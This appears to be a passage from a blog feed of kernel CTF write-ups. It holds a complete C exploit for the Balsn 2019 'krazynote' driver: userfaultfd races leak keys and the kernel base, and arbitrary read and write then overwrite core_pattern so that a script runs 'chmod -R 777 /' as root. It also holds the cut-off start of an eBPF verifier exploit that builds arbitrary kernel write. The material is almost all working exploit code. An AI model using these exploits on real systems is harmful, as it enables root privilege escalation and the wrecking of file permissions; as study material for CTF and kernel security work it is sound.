static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

cpu_set_t target_cpu;
static int vuln_dev_fd;
uint64_t vuln_dev_xor_key;
uint64_t vuln_dev_base_minus_page_offset_base;
uint64_t vuln_dev_base;

uint64_t page_offset_base;
uint64_t kernel_base;

typedef struct request_t {
  uint64_t idx;
  uint64_t size;
  uint64_t data;
} request_t;

static int vuln_dev_add(uint8_t size, void* data) {
  request_t req = {
      .idx = 0,
      .size = size,
      .data = (uint64_t)data,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
static int vuln_dev_update(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_UPDATE, &amp;amp;req);
}
static int vuln_dev_get(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
static int vuln_dev_reset() {
  request_t req = {
      .idx = 0,
      .size = 0,
      .data = 0,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_RESET, &amp;amp;req);
}

// funtions for leaking xor_key

int leaked_xor_key_bytes = 0;
static void* userfault_handler_for_leak_xor_key(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(leaked_xor_key_bytes, page);
    vuln_dev_add(0xff, page);

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_xor_key() {
  char buf[0x100] = {
      0,
  };
  uint64_t tmp_xor_key = 0;

  for (int i = 0; i &amp;lt; 8; ++i) {
    void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (uffd_page == MAP_FAILED) {
      fatal(&amp;#34;mmap&amp;#34;);
    }
    register_uffd(uffd_page, 0x1000, userfault_handler_for_leak_xor_key);

    vuln_dev_add(0x10, uffd_page);

    memset(buf, &amp;#39;a&amp;#39;, sizeof(buf));
    vuln_dev_get(1, buf);
    int idx_61 = -1;
    for (int i = 0; i &amp;lt; 0x100; ++i) {
      if (buf[i] == 0x61 &amp;amp;&amp;amp; idx_61 == -1) {
        idx_61 = i;
      }
    }
    if (idx_61 == -1) {
      fatal(&amp;#34;leak_xor_key: idx_61 == -1&amp;#34;);
    }

    tmp_xor_key |= ((uint64_t)idx_61) &amp;lt;&amp;lt; (i * 8);

    vuln_dev_reset();
    munmap(uffd_page, 0x1000);
    ++leaked_xor_key_bytes;
  }

  return tmp_xor_key;
}

// funtions for leaking vuln_dev_base - page_offset_base

static void* userfault_handler_for_vuln_dev_base_minus_page_offset_base(
    void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 8) = 0x18 ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_minus_page_offset_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000,
                userfault_handler_for_vuln_dev_base_minus_page_offset_base);

  vuln_dev_reset();
  vuln_dev_add(0x10, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t vuln_dev_base_minus_page_offset_base = *(uint64_t*)(buf + 0x10);
  return vuln_dev_base_minus_page_offset_base - 0x2568;
}

// functions for leaking vuln_dev_base

static void* userfault_handler_for_vuln_dev_base(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = 0x18 ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (vuln_dev_base_minus_page_offset_base + VULN_DEV_MISC_FILE_OPS_OFFSET +
         8 * VULN_DEV_MISC_FILE_OPS_FLUSH_IDX) ^
        vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_vuln_dev_base);

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t tmp_vuln_dev_base = *(uint64_t*)(buf);
  return tmp_vuln_dev_base;
}

// functions for aar

uint64_t aar_addr;
size_t aar_size;
static void* userfault_handler_for_aar(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aar_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aar_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aar(void* out, uint64_t addr, uint64_t size) {
  if (size &amp;gt;= 0x100) {
    fatal(&amp;#34;aar: size &amp;gt;= 0x100&amp;#34;);
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aar);

  aar_addr = addr;
  aar_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, out);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

// functions for aar

uint64_t aaw_addr;
size_t aaw_size;
static void* userfault_handler_for_aaw(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aaw_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aaw_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aaw(uint64_t addr, void* data, uint64_t size) {
  if (size &amp;gt;= 0x100) {
    fatal(&amp;#34;aar: size &amp;gt;= 0x100&amp;#34;);
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aaw);

  aaw_addr = addr;
  aaw_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_update(1, data);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

static uint64_t leak_kernel_base() {
  uint64_t val;
  aar(&amp;amp;val, vuln_dev_base + VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE, 8);
  aar(&amp;amp;val, val, 8);
  return val - OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV;
}

// end of helper functions

static int overwrite_core_pattern(const char* new_core_pattern, size_t len) {
  aaw(kernel_base + CORE_PATTERN_OFFSET, (void*)new_core_pattern, len);

  int fd = open(&amp;#34;/proc/sys/kernel/core_pattern&amp;#34;, O_RDONLY);
  char buf[0x100] = {
      0,
  };
  read(fd, buf, 0x100);
  close(fd);

  if (strncmp(buf, new_core_pattern, len) != 0) {
    return -1;
  }
  return 0;
}

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/dev/&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  vuln_dev_xor_key = leak_xor_key();
  printf(&amp;#34;[+] xor_key: 0x%lx\n&amp;#34;, vuln_dev_xor_key);
  vuln_dev_base_minus_page_offset_base = leak_vuln_dev_minus_page_offset_base();
  printf(&amp;#34;[+] vuln_dev_base_minus_page_offset_base: 0x%lx\n&amp;#34;,
         vuln_dev_base_minus_page_offset_base);
  vuln_dev_base = leak_vuln_dev_base();
  printf(&amp;#34;[+] vuln_dev_base: 0x%lx\n&amp;#34;, vuln_dev_base);

  page_offset_base = vuln_dev_base - vuln_dev_base_minus_page_offset_base;
  printf(&amp;#34;[+] page_offset_base: 0x%lx\n&amp;#34;, page_offset_base);
  kernel_base = leak_kernel_base();
  printf(&amp;#34;[+] kernel_base: 0x%lx\n&amp;#34;, kernel_base);

  puts(&amp;#34;[*] prepare for core_pattern&amp;#34;);
  const char* new_core_pattern = &amp;#34;|//home/note/evil.sh&amp;#34;;
  const size_t new_core_pattern_len = strlen(new_core_pattern);
  printf(&amp;#34;[*] overwriting core_pattern to \&amp;#34;%s\&amp;#34;...\n&amp;#34;, new_core_pattern);
  if (overwrite_core_pattern(new_core_pattern, new_core_pattern_len) &amp;lt; 0) {
    fatal(&amp;#34;overwrite_core_pattern&amp;#34;);
  }
  puts(&amp;#34;[*] make //home/note/evil.sh...&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; //home/note/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x //home/note/evil.sh&amp;#34;);
  system(&amp;#34;ulimit -c unlimited&amp;#34;);

  uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  close(vuln_dev_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/smallkirby/pwn-writeups/tree/master/balsn2019/krazynote/original&#34;&gt;https://github.com/smallkirby/pwn-writeups/tree/master/balsn2019/krazynote/original&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>PAWNYABLE LK06: Brahman</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk06/</link>
      <pubDate>Wed, 22 Jan 2025 12:31:57 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk06/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk06-brahman&#34;&gt;LK06: Brahman&lt;/h2&gt;
&lt;h3 id=&#34;exploit-using-adjust_ptr_min_max_vals&#34;&gt;Exploit using adjust_ptr_min_max_vals&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;149628537&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;149628537&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd = -1;
uint64_t leak_bpf_map_addr() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),           // r6 = r0
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),  // r7 = [r0]
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),           // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).

      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),           // r1(w1) = w1(r1)
      BPF_MOV64_REG(BPF_REG_0, BPF_REG_6),           // r0 = r6
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),  // r0 += r1
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0,
                  -0x10),  // *(u64*)(fp-0x10) = r0
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),     // *(u64*)(fp-0x08) = 0
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),      // arg2 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),  // arg2 = arg2(fp)-0x08
      // arg3(&amp;amp;val) = fp-0x10
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),  // arg3 = arg3(fp)-0x10
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),  // arg4 = 0
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  write(socks[1], &amp;#34;Hello&amp;#34;, 5);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return val - 1 - 0x110;
}

uint64_t aaw64(uint64_t addr, uint64_t val) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

